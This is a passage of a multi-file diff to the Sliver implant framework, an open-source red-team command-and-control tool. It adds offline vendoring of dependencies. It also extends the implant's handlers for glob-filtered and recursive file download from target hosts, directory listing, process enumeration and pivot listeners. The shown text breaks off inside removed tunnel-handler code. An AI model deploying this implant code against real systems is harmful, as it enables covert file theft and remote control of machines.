 GARBLE_VER="1.18.0"
 
 GO_ARCH_1="amd64"

go-tests.sh

@@ -149,6 +149,7 @@ else
 fi
 
 # server / generate
+export GOPROXY=off
 if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
     :
 else

go.mod

@@ -2,7 +2,7 @@ module github.com/bishopfox/sliver
 
 go 1.17
 
-replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
+replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
 
 require (
 	github.com/AlecAivazis/survey/v2 v2.2.2

go.sum

@@ -648,8 +648,8 @@ github.com/modern-go/reflect2 v0.0.0-20180320133207-05fbef0ca5da/go.mod h1:bx2lN
 github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
 github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
 github.com/mohae/deepcopy v0.0.0-20170308212314-bb9b5e7adda9/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8=
-github.com/moloch--/grumble v1.1.4 h1:/utJ405bbS2/Kx73XE03zqP1a3ZE9p3vqD3ePvsrG8o=
-github.com/moloch--/grumble v1.1.4/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
+github.com/moloch--/grumble v1.1.6 h1:FjPkuGOIwGL8nGkEH0EegnQgsl6Rn0R0fhBW/kcA0s8=
+github.com/moloch--/grumble v1.1.6/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
 github.com/mrunalp/fileutils v0.5.0/go.mod h1:M1WthSahJixYnrXQl/DFQuteStB1weuxD2QJNHXfbSQ=

implant/README.md

@@ -1,5 +1,5 @@
 Implant
-========
+=======
 
 This directory contains the code for Sliver's implant, implant source code is dynamically
 rendered at runtime via the `generate` command. The code generation inserts the per-binary
@@ -11,3 +11,9 @@ that will be supported on different platforms.
 Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
 valid Go compiler target but only contains very generic commands/features.
 
+Development
+===========
+
+Before committing any changes to any implant files, run `go generate` in this directory. This
+will ensure the vendor directory is kept up to date so offline implant builds will function
+correctly.

implant/generate.go

@@ -0,0 +1,3 @@
+package implant
+
+//go:generate ./scripts/update-vendor.sh

implant/go-mod

@@ -3,22 +3,39 @@ module github.com/bishopfox/sliver
 go 1.17
 
 require (
-github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
-github.com/Microsoft/go-winio v0.5.0 // indirect
-github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
-github.com/gofrs/uuid v4.0.0+incompatible
-github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
-github.com/lesnuages/go-winio v0.4.19
-github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
-github.com/pquerna/otp v1.3.0
-github.com/stretchr/testify v1.7.0
-golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
-golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
-golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
-golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
-golang.zx2c4.com/wireguard/windows v0.5.1
-gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
-google.golang.org/protobuf v1.23.0
-github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
+	github.com/gofrs/uuid v4.0.0+incompatible
+	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
+	github.com/lesnuages/go-winio v0.4.19
+	github.com/miekg/dns v1.1.50
+	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
+	github.com/pquerna/otp v1.3.0
+	github.com/stretchr/testify v1.7.0
+	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
+	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
+	golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
+	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
+	google.golang.org/protobuf v1.26.0
+	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+)
+
+require (
+	github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
+	github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
+	github.com/Microsoft/go-winio v0.5.0 // indirect
+	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
+	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
+	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
+	github.com/davecgh/go-spew v1.1.1 // indirect
+	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
+	github.com/google/btree v1.0.1 // indirect
+	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
+	github.com/pmezard/go-difflib v1.0.0 // indirect
+	golang.org/x/mod v0.4.2 // indirect
+	golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
+	golang.org/x/tools v0.1.7 // indirect
+	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
+	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
 )

implant/implant.go

@@ -32,4 +32,8 @@ var (
 	// GoSum - Templated go.sum module file for implant builds
 	//go:embed go-sum
 	GoSum string
+
+	// Vendor - Embedded FS access to vendored sliver implant dependencies
+	//go:embed vendor/**
+	Vendor embed.FS
 )

implant/scripts/update-vendor.go

@@ -0,0 +1,95 @@
+package main
+
+import (
+	"bytes"
+	"fmt"
+	"go/parser"
+	"go/token"
+	"io/fs"
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+// These are the directories imports will be taken from. If the implant
+// needs files outside of these dirs in the future, add the dirs to this
+// slice.
+var srcDirs = []string{
+	"../sliver",
+	"../../protobuf/commonpb",
+	"../../protobuf/dnspb",
+	"../../protobuf/sliverpb",
+}
+
+func fatalf(format string, a ...interface{}) {
+	panic(fmt.Sprintf(format, a...))
+}
+
+func getImports(imports map[string]struct{}, dir string) error {
+	fset := token.NewFileSet()
+	return filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
+		if err != nil {
+			return err
+		}
+
+		if d.IsDir() {
+			return nil
+		}
+		if !strings.HasSuffix(path, ".go") {
+			return nil
+		}
+
+		file, err := parser.ParseFile(fset, path, nil, parser.ImportsOnly)
+		if err != nil {
+			return err
+		}
+
+		for _, imp := range file.Imports {
+			impPath := strings.ToLower(imp.Path.Value)
+			// skip local packages, those shouldn't be vendored
+			if strings.HasPrefix(impPath, `"github.com/bishopfox/sliver`) {
+				continue
+			}
+
+			imports[imp.Path.Value] = struct{}{}
+		}
+
+		return nil
+	})
+}
+
+func main() {
+	if len(os.Args) < 2 {
+		fatalf("expected temporary directory argument")
+	}
+
+	dir := os.Args[1]
+	imports := make(map[string]struct{})
+
+	// Parse Go files and build a unique list of all their 3rd party
+	// imports so we can build a vendor dir from them. Stdlib packages
+	// will be included as well but 'go mod vendor' will ignore them.
+	for _, srcDir := range srcDirs {
+		err := getImports(imports, srcDir)
+		if err != nil {
+			fatalf("error walking directory: %v", err)
+		}
+	}
+
+	// Create a Go source file containing only import statements of all
+	// the packages an implant might need, no matter what OS, transport,
+	// etc is configured.
+	var buf bytes.Buffer
+	buf.WriteString("package sliver\n\nimport (\n")
+	for imp := range imports {
+		buf.WriteString("\t _ ")
+		buf.WriteString(imp)
+		buf.WriteByte('\n')
+	}
+	buf.WriteString(")\n")
+
+	err := os.WriteFile(filepath.Join(dir, "imports.go"), buf.Bytes(), 0660)
+	if err != nil {
+		fatalf("error creating file: %v", err)
+	}
+}

implant/scripts/update-vendor.sh

@@ -0,0 +1,27 @@
+#!/bin/sh
+
+set -e
+
+# we are expecting from run from sliver/implant via 'go generate'
+cd scripts
+
+# copy Go module related files
+pwd="$(pwd)"
+tempDir="$(mktemp -d -p $pwd)"
+cp ../go-mod "${tempDir}/go.mod"
+cp ../go-sum "${tempDir}/go.sum"
+mv ../vendor "${tempDir}/vendor"
+
+# build Go file with all imported packages
+go run update-vendor.go "$tempDir"
+cd "$tempDir"
+# update vendor dir
+go mod tidy -compat=1.17
+go mod vendor
+
+# move updated files back
+mv "${tempDir}/vendor" ../../vendor
+mv "${tempDir}/go.mod" ../../go-mod
+mv "${tempDir}/go.sum" ../../go-sum
+cd ..
+rm -rf "$tempDir"

implant/sliver/forwarder/forwarder.go

@@ -1,5 +1,23 @@
 package forwarder
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 // {{if .Config.WGc2Enabled}}
 var (
 	tcpForwarders map[int]*WGTCPForwarder

implant/sliver/forwarder/portforward.go

@@ -1,5 +1,23 @@
 package forwarder
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 // {{if .Config.WGc2Enabled}}
 import (
 	"fmt"

implant/sliver/forwarder/socks.go

@@ -1,5 +1,23 @@
 package forwarder
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 // {{if .Config.WGc2Enabled}}
 import (
 	"fmt"

implant/sliver/handlers/handlers.go

@@ -82,6 +82,58 @@ func pingHandler(data []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
+func determineDirPathFilter(targetPath string) (string, string) {
+	// The filter
+	filter := ""
+
+	// The path the filter applies to
+	path := ""
+
+	/*
+		Check to see if the remote path is a filter or contains a filter.
+		If the path passes the test to be a filter, then it is a filter
+		because paths are not valid filters.
+	*/
+	if targetPath != "." {
+
+		// Check if the path contains a filter
+		// Test on a standardized version of the path (change any \ to /)
+		testPath := strings.Replace(targetPath, "\\", "/", -1)
+		/*
+			Cannot use the path or filepath libraries because the OS
+			of the client does not necessarily match the OS of the
+			implant
+		*/
+		lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
+
+		if lastSeparatorOccurrence == -1 {
+			// Then this is only a filter
+			filter = targetPath
+			path = "."
+		} else {
+			// Then we need to test for a filter on the end of the string
+
+			// The indicies should be the same because we did not change the length of the string
+			path = targetPath[:lastSeparatorOccurrence+1]
+			filter = targetPath[lastSeparatorOccurrence+1:]
+		}
+	} else {
+		path = targetPath
+		// filter remains blank
+	}
+
+	return path, filter
+}
+
+func pathIsDirectory(path string) bool {
+	fileInfo, err := os.Stat(path)
+	if err != nil {
+		return false
+	} else {
+		return fileInfo.IsDir()
+	}
+}
+
 func dirListHandler(data []byte, resp RPCResponse) {
 	dirListReq := &sliverpb.LsReq{}
 	err := proto.Unmarshal(data, dirListReq)
@@ -91,7 +143,19 @@ func dirListHandler(data []byte, resp RPCResponse) {
 		// {{end}}
 		return
 	}
-	dir, files, err := getDirList(dirListReq.Path)
+
+	// Handle the case where a directory is provided without a trailing separator
+	var targetPath string
+
+	if pathIsDirectory(dirListReq.Path) {
+		targetPath = dirListReq.Path + "/"
+	} else {
+		targetPath = dirListReq.Path
+	}
+
+	path, filter := determineDirPathFilter(targetPath)
+
+	dir, files, err := getDirList(path)
 
 	// Convert directory listing to protobuf
 	timezone, offset := time.Now().Zone()
@@ -102,19 +166,47 @@ func dirListHandler(data []byte, resp RPCResponse) {
 		dirList.Exists = false
 	}
 	dirList.Files = []*sliverpb.FileInfo{}
+
+	var match bool = false
+	var linkPath string = ""
+
 	for _, fileInfo := range files {
-		dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
-			Name:  fileInfo.Name(),
-			IsDir: fileInfo.IsDir(),
-			Size:  fileInfo.Size(),
-			/* Send the time back to the client / server as the number of seconds
-			since epoch.  This will decouple formatting the time to display from the
-			time itself.  We can change the format of the time displayed in the client
-			and not have to worry about having to update implants.
-			*/
-			ModTime: fileInfo.ModTime().Unix(),
-			Mode:    fileInfo.Mode().String(),
-		})
+		if filter == "" {
+			match = true
+		} else {
+			match, err = filepath.Match(filter, fileInfo.Name())
+			if err != nil {
+				// Then this is a bad filter, and it will be a bad filter
+				// on every iteration of the loop, so we might as well break now
+				break
+			}
+		}
+
+		if match {
+			// Check if this is a symlink, and if so, add the path the link points to
+			if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
+				linkPath, err = filepath.EvalSymlinks(path + fileInfo.Name())
+				if err != nil {
+					linkPath = ""
+				}
+			} else {
+				linkPath = ""
+			}
+
+			dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
+				Name:  fileInfo.Name(),
+				IsDir: fileInfo.IsDir(),
+				Size:  fileInfo.Size(),
+				/* Send the time back to the client / server as the number of seconds
+				since epoch.  This will decouple formatting the time to display from the
+				time itself.  We can change the format of the time displayed in the client
+				and not have to worry about having to update implants.
+				*/
+				ModTime: fileInfo.ModTime().Unix(),
+				Mode:    fileInfo.Mode().String(),
+				Link:    linkPath,
+			})
+		}
 	}
 
 	// Send back the response
@@ -274,6 +366,29 @@ func pwdHandler(data []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
+func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, int, int, error) {
+	/*
+		Combine the path and filter to see if the user wants
+		to download a single file
+	*/
+	fileInfo, err := os.Stat(path + filter)
+	if err == nil && !fileInfo.IsDir() {
+		// Then this is a single file
+		rawData, err := os.ReadFile(path + filter)
+		if err != nil {
+			// Then we could not read the file
+			return nil, false, 0, 1, err
+		} else {
+			return rawData, false, 1, 0, nil
+		}
+	}
+
+	// If we are here, then the user wants multiple files (a directory or part of a directory)
+	var downloadData bytes.Buffer
+	readFiles, unreadableFiles, err := compressDir(path, filter, recurse, &downloadData)
+	return downloadData.Bytes(), true, readFiles, unreadableFiles, err
+}
+
 // Send a file back to the hive
 func downloadHandler(data []byte, resp RPCResponse) {
 	var rawData []byte
@@ -284,6 +399,8 @@ func downloadHandler(data []byte, resp RPCResponse) {
 	*/
 	var isDir bool
 
+	var download *sliverpb.Download
+
 	downloadReq := &sliverpb.DownloadReq{}
 	err := proto.Unmarshal(data, downloadReq)
 	if err != nil {
@@ -294,47 +411,42 @@ func downloadHandler(data []byte, resp RPCResponse) {
 		return
 	}
 	target, _ := filepath.Abs(downloadReq.Path)
-	fi, err := os.Stat(target)
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("stat failed on %s: %v", target, err)
-		//{{end}}
-		download := &sliverpb.Download{Path: target, Exists: false}
-		download.Response = &commonpb.Response{
-			Err: err.Error(),
-		}
-		data, err = proto.Marshal(download)
-		resp(data, err)
-		return
-	}
-	if fi.IsDir() {
-		var dirData bytes.Buffer
-		err = compressDir(target, &dirData)
-		// {{if .Config.Debug}}
-		log.Printf("error creating the archive: %v", err)
-		// {{end}}
-		rawData = dirData.Bytes()
-		isDir = true
-	} else {
-		rawData, err = ioutil.ReadFile(target)
-		isDir = false
+
+	if pathIsDirectory(target) {
+		// Even if the implant is running on Windows, Go can deal with "/" as a path separator
+		target += "/"
 	}
 
-	var download *sliverpb.Download
-	if err == nil {
+	path, filter := determineDirPathFilter(target)
+
+	rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse)
+
+	if err != nil {
+		if isDir {
+			// {{if .Config.Debug}}
+			log.Printf("error creating the archive: %v", err)
+			// {{end}}
+		} else {
+			//{{if .Config.Debug}}
+			log.Printf("error while preparing download for %s: %v", target, err)
+			//{{end}}
+		}
+		download = &sliverpb.Download{Path: target, Exists: false, ReadFiles: int32(readFiles), UnreadableFiles: int32(unreadableFiles)}
+		download.Response = &commonpb.Response{
+			Err: fmt.Sprintf("%v", err),
+		}
+	} else {
 		gzipData := bytes.NewBuffer([]byte{})
 		gzipWrite(gzipData, rawData)
 		download = &sliverpb.Download{
-			Path:    target,
-			Data:    gzipData.Bytes(),
-			Encoder: "gzip",
-			Exists:  true,
-			IsDir:   isDir,
-		}
-	} else {
-		download = &sliverpb.Download{Path: target, Exists: false}
-		download.Response = &commonpb.Response{
-			Err: fmt.Sprintf("%v", err),
+			Path:            target,
+			Data:            gzipData.Bytes(),
+			Encoder:         "gzip",
+			Exists:          true,
+			IsDir:           isDir,
+			ReadFiles:       int32(readFiles),
+			UnreadableFiles: int32(unreadableFiles),
+			Response:        &commonpb.Response{},
 		}
 	}
 
@@ -659,50 +771,152 @@ func standarizeArchiveFileName(path string) string {
 	}
 }
 
-func compressDir(path string, buf io.Writer) error {
+func compressDir(path string, filter string, recurse bool, buf io.Writer) (int, int, error) {
 	zipWriter := gzip.NewWriter(buf)
 	tarWriter := tar.NewWriter(zipWriter)
+	readFiles := 0
+	unreadableFiles := 0
+	var matchingFiles []string
+
+	/*
+		There is an edge case where if you are trying to download a junction on Windows,
+		you will get access denied
+
+		To resolve this, we will resolve the junction or symlink before we do anything.
+		Even though resolving the symlink first is not necessary on *nix, it does not hurt
+		and will make it so that we do not have to detect if we are on Windows.
+	*/
+	pathInfo, err := os.Lstat(path)
+	if err != nil {
+		return readFiles, unreadableFiles, err
+	}
+
+	if pathInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
+		path, err = filepath.EvalSymlinks(path)
+		if err != nil {
+			return readFiles, unreadableFiles, err
+		}
+		// The path we get back from EvalSymlinks does not have a trailing separator
+		// Forward slash is fine even on Windows.
+		path += "/"
+	}
+
+	/*
+		Build the list of files to include in the archive.
+
+		Walking the directory can take a long time and do a lot of unnecessary work
+		if we do not need to recurse through subdirectories.
+
+		If we are not recursing, then read the directory without worrying about
+		subdirectories.
+	*/
+	if !recurse {
+		testPath := strings.ReplaceAll(path, "\\", "/")
+		directory, err := os.Open(path)
+		if err != nil {
+			return readFiles, unreadableFiles, err
+		}
+		directoryFiles, err := directory.Readdirnames(0)
+		directory.Close()
+		if err != nil {
+			return readFiles, unreadableFiles, err
+		}
+
+		for _, fileName := range directoryFiles {
+			standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
+			if filter != "" {
+				match, err := filepath.Match(testPath+filter, standardFileName)
+				if err == nil && match {
+					matchingFiles = append(matchingFiles, standardFileName)
+				}
+			} else {
+				matchingFiles = append(matchingFiles, standardFileName)
+			}
+		}
+	} else {
+		filepath.WalkDir(path, func(file string, d os.DirEntry, err error) error {
+			filePath := strings.ReplaceAll(file, "\\", "/")
+			if filter != "" {
+				// Normalize paths
+				testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
+				match, matchErr := filepath.Match(testPath+filter, filePath)
+				if !match || matchErr != nil {
+					// If there is an error, it is because the filter is bad, so it is not a match
+					return nil
+				}
+				matchingFiles = append(matchingFiles, file)
+			} else {
+				matchingFiles = append(matchingFiles, file)
+			}
+			return nil
+		})
+	}
+
+	for _, file := range matchingFiles {
+		fi, err := os.Stat(file)
+		if err != nil {
+			// Cannot get info on the file, so skip it
+			unreadableFiles += 1
+			continue
+		}
 
-	filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
 		fileName := standarizeArchiveFileName(file)
 
 		// If the file is a SymLink replace fileInfo and path with the symlink destination.
 		if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
 			file, err = filepath.EvalSymlinks(file)
 			if err != nil {
-				return err
+				unreadableFiles += 1
+				continue
 			}
 
 			fi, err = os.Lstat(file)
 			if err != nil {
-				return err
+				unreadableFiles += 1
+				continue
 			}
 		}
+
 		header, err := tar.FileInfoHeader(fi, file)
 		if err != nil {
-			return err
+			unreadableFiles += 1
+			continue
 		}
 		// Keep the symlink file path for the header name.
 		header.Name = filepath.ToSlash(fileName)
-		if err := tarWriter.WriteHeader(header); err != nil {
-			return err
-		}
+		// Check that we can open the file before we try to write it to the archive
 		if !fi.IsDir() {
 			data, err := os.Open(file)
 			if err != nil {
-				return err
+				// Skip this file and do not write it to the archive.
+				unreadableFiles += 1
+				continue
+			}
+			if err := tarWriter.WriteHeader(header); err != nil {
+				unreadableFiles += 1
+				data.Close()
+				continue
 			}
 			if _, err := io.Copy(tarWriter, data); err != nil {
-				return err
+				unreadableFiles += 1
+				data.Close()
+				continue
+			}
+			data.Close()
+			readFiles += 1
+		} else {
+			if err := tarWriter.WriteHeader(header); err != nil {
+				unreadableFiles += 1
+				continue
 			}
 		}
-		return nil
-	})
+	}
+
 	if err := tarWriter.Close(); err != nil {
-		return err
+		return readFiles, unreadableFiles, err
 	}
 	if err := zipWriter.Close(); err != nil {
-		return err
+		return readFiles, unreadableFiles, err
 	}
-	return nil
+	return readFiles, unreadableFiles, nil
 }

implant/sliver/handlers/pivot-handlers.go

@@ -70,7 +70,7 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
 	}
 
 	if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
-		listener, err := createListener(req.BindAddress, connection.Send)
+		listener, err := createListener(req.BindAddress, connection.Send, req.Options...)
 		if err != nil {
 			resp.Response.Err = err.Error()
 			data, _ := proto.Marshal(resp)
@@ -111,6 +111,7 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
 		return
 	}
 	pivots.StopListener(req.ID)
+	pivots.RemoveListener(req.ID)
 	connection.Send <- &pb.Envelope{
 		ID:   envelope.ID,
 		Data: []byte{},

implant/sliver/handlers/rpc-handlers_darwin.go

@@ -55,6 +55,7 @@ func psHandler(data []byte, resp RPCResponse) {
 			Ppid:       int32(proc.PPid()),
 			Executable: proc.Executable(),
 			Owner:      proc.Owner(),
+			Architecture: proc.Architecture(),
 		}
 		p.CmdLine = proc.(*ps.DarwinProcess).CmdLine()
 		psList.Processes = append(psList.Processes, p)

implant/sliver/handlers/rpc-handlers_linux.go

@@ -55,6 +55,7 @@ func psHandler(data []byte, resp RPCResponse) {
 			Ppid:       int32(proc.PPid()),
 			Executable: proc.Executable(),
 			Owner:      proc.Owner(),
+			Architecture: proc.Architecture(),
 		}
 		p.CmdLine = proc.(*ps.UnixProcess).CmdLine()
 		psList.Processes = append(psList.Processes, p)

implant/sliver/handlers/rpc-handlers_windows.go

@@ -55,6 +55,7 @@ func psHandler(data []byte, resp RPCResponse) {
 			Ppid:       int32(proc.PPid()),
 			Executable: proc.Executable(),
 			Owner:      proc.Owner(),
+			Architecture: proc.Architecture(),
 		}
 		p.CmdLine = proc.(*ps.WindowsProcess).CmdLine()
 		p.SessionID = int32(proc.(*ps.WindowsProcess).SessionID())

implant/sliver/handlers/tun-handlers.go

@@ -19,36 +19,24 @@ package handlers
 */
 
 import (
-	"context"
-	"fmt"
-	"io"
-	"net"
-	"sync"
-	"time"
 
 	// {{if .Config.Debug}}
 	"log"
 	// {{end}}
 
-	"github.com/bishopfox/sliver/implant/sliver/shell"
-	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/things-go/go-socks5"
-	"google.golang.org/protobuf/proto"
 )
 
 var (
 	tunnelHandlers = map[uint32]TunnelHandler{
-		sliverpb.MsgShellReq:   shellReqHandler,
-		sliverpb.MsgPortfwdReq: portfwdReqHandler,
-		sliverpb.MsgSocksData:  socksReqHandler,
+		sliverpb.MsgShellReq:   tunnel_handlers.ShellReqHandler,
+		sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
+		sliverpb.MsgSocksData:  tunnel_handlers.SocksReqHandler,
 
-		sliverpb.MsgTunnelData:  tunnelDataHandler,
-		sliverpb.MsgTunnelClose: tunnelCloseHandler,
+		sliverpb.MsgTunnelData:  tunnel_handlers.TunnelDataHandler,
+		sliverpb.MsgTunnelClose: tunnel_handlers.TunnelCloseHandler,
 	}
-
-	// TunnelID -> Sequence Number -> Data
-	tunnelDataCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
 )
 
 // GetTunnelHandlers - Returns a map of tunnel handlers
@@ -58,433 +46,3 @@ func GetTunnelHandlers() map[uint32]TunnelHandler {
 	// {{end}}
 	return tunnelHandlers
 }
-
-func tunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-	tunnelClose := &sliverpb.TunnelData{
-		Closed: true,
-	}
-	proto.Unmarshal(envelope.Data, tunnelClose)
-	tunnel := connection.Tunnel(tunnelClose.TunnelID)
-	if tunnel != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
-		// {{end}}
-		connection.RemoveTunnel(tunnel.ID)
-		tunnel.Reader.Close()
-		tunnel.Writer.Close()
-		delete(tunnelDataCache, tunnel.ID)
-	}
-}
-
-func tunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-	tunnelData := &sliverpb.TunnelData{}
-	proto.Unmarshal(envelope.Data, tunnelData)
-	tunnel := connection.Tunnel(tunnelData.TunnelID)
-	if tunnel != nil {
-
-		if _, ok := tunnelDataCache[tunnelData.TunnelID]; !ok {
-			tunnelDataCache[tunnelData.TunnelID] = map[uint64]*sliverpb.TunnelData{}
-		}
-
-		// Since we have no guarantees that we will receive tunnel data in the correct order, we need
-		// to ensure we write the data back to the reader in the correct order. The server will ensure
-		// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
-		// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
-		// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
-		// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
-		// correctly write them back to the reader.
-
-		// {{if .Config.Debug}}
-		log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
-		// {{end}}
-
-		//Added a thread lock here because the incrementing of the ReadSequence, adding/deleting things from a shared cache,
-		//and then making decisions based on the current size of the cache by multiple threads can cause race conditions errors
-		var l sync.Mutex
-		l.Lock()
-		tunnelDataCache[tunnel.ID][tunnelData.Sequence] = tunnelData
-
-		// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
-		// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
-		// is used here whereas WriteSequence is used for data written back to the server
-
-		// Go through cache and write all sequential data to the reader
-		cache := tunnelDataCache[tunnel.ID]
-		for recv, ok := cache[tunnel.ReadSequence]; ok; recv, ok = cache[tunnel.ReadSequence] {
-			// {{if .Config.Debug}}
-			log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
-			// {{end}}
-			tunnel.Writer.Write(recv.Data)
-
-			// Delete the entry we just wrote from the cache
-			delete(cache, tunnel.ReadSequence)
-			tunnel.ReadSequence++ // Increment sequence counter
-		}
-
-		//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
-		//Send a Resend packet to have the msg resent from the cache
-		if len(cache) > 3 {
-			data, err := proto.Marshal(&sliverpb.TunnelData{
-				Sequence: tunnel.WriteSequence, // The tunnel write sequence
-				Ack:      tunnel.ReadSequence,
-				Resend:   true,
-				TunnelID: tunnel.ID,
-				Data:     []byte{},
-			})
-			if err != nil {
-				// {{if .Config.Debug}}
-				log.Printf("[shell] Failed to marshal protobuf %s", err)
-				// {{end}}
-			} else {
-				// {{if .Config.Debug}}
-				log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence)
-				// {{end}}
-				connection.RequestResend(data)
-			}
-		}
-		//Unlock
-		l.Unlock()
-
-	} else {
-		// {{if .Config.Debug}}
-		log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
-		// {{end}}
-	}
-}
-
-// tunnelWriter - Sends data back to the server based on data read()
-// I know the reader/writer stuff is a little hard to keep track of
-type tunnelWriter struct {
-	tun  *transports.Tunnel
-	conn *transports.Connection
-}
-
-func (tw tunnelWriter) Write(data []byte) (int, error) {
